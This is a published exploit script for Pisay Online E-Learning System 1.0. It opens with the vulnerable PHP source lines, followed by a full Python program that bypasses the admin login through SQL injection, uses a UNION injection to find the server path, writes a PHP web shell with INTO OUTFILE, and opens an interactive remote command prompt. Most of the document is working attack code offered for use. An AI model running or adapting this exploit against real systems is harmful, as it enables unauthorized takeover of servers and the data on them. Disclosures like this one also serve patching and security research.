Pisay Online E-Learning System 1.0 SQL Injection / Code Execution

`# Exploit Title: Pisay Online E-Learning System v1.0 - SQLi Auth Bypass + Remote Code Execution (RCE)  
# Exploit Author: Bobby Cooke  
# Date: May 5th, 2020  
# Vendor Homepage: https://www.sourcecodester.com/php/14192/pisay-online-e-learning-system-using-phpmysql.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/e-learningsystem_0.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4  
# Vulnerable Source Code:  
# /e-learningsystem/admin/login.php  
# 121 $email = trim($_POST['user_email']);  
# 122 $upass = trim($_POST['user_pass']);  
# 123 $h_upass = sha1($upass);  
# 132 $user = new User();  
# 134 $res = $user::userAuthentication($email, $h_upass);  
# /e-learningsystem/include/accounts.php  
# 3 class User {  
# 23 static function userAuthentication($email,$h_pass){  
# 25 $mydb->setQuery("SELECT * FROM `tblusers` WHERE `UEMAIL` = '". $email ."' and `PASS` = '". $h_pass ."'");  
# /e-learningsystem/admin/modules/lesson/edit.php  
# 6 @$id = $_GET['id'];  
# 7 if($id==''){  
# 10 $lesson = New Lesson();  
# 11 $res = $lesson->single_lesson($id);  
# /e-learningsystem/include/lessons.php  
# 4 class Lesson {  
# 5 protected static $tblname = "tbllesson";  
# 35 function single_lesson($id=0){  
# 37-38 $mydb->setQuery("SELECT * FROM ".self::$tblname." Where LessonID= '{$id}' LIMIT 1");  
  
import requests, sys, re  
  
requests.packages.urllib3.\  
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
  
def webshell(SERVER_URL):  
try:  
while True:  
cmd = raw_input('C:\\ ')  
command = {'cmd': cmd}  
r2 = s.get(SERVER_URL+'../../../../webshell.php', params=command, verify=False)  
response = r2.text  
cleanResponse = response.replace('AAAAAAAAAAAAAAA', '')  
cleanResponse = cleanResponse.replace('313371337', '')  
print(cleanResponse)  
except:  
print("\r\nExiting.")  
sys.exit(-1)  
  
if __name__ == "__main__":  
if len(sys.argv) != 2:  
print "(+) Usage: %s <SERVER_URL>" % sys.argv[0]  
print "(+) Example: %s 'https://10.0.0.3:443/e-learningsystem/'" % sys.argv[0]  
sys.exit(-1)  
SERVER_URL = sys.argv[1]  
ADMIN_URL = SERVER_URL + 'admin/login.php'  
LESSON_URL = SERVER_URL + 'admin/modules/lesson/index.php'  
s = requests.Session()  
s.get(SERVER_URL, verify=False)  
payload1 = {'user_email': "boku' OR 1337=1337 LIMIT 1 -- PowerUp", 'user_pass': 'InstantTransmission', 'btnLogin': ''}  
s.post(ADMIN_URL, data=payload1, verify=False)  
  
payload2 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA",@@datadir,"AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" -- kamahamaha'}  
r1 = s.get(LESSON_URL, params=payload2, verify=False)  
dirtyPath = str(re.findall(r'"Title" type="text" value=".*>', r1.text))  
dataPath=re.sub('^.*"Title" type="text" value="', '', dirtyPath)  
dataPath=re.sub('">.*$', '', dataPath)  
dataPath=dataPath.replace('\\\\', '/')  
xamppPath=re.sub('xampp.*', 'xampp', dataPath)  
payload3 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA","<?php echo shell_exec($_GET[\'cmd\']);?>","AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" into OUTFILE \''+xamppPath+'/htdocs/webshell.php\' -- kamahamaha'}  
print(payload3)  
s.get(LESSON_URL, params=payload3, verify=False)  
webshell(SERVER_URL)  
`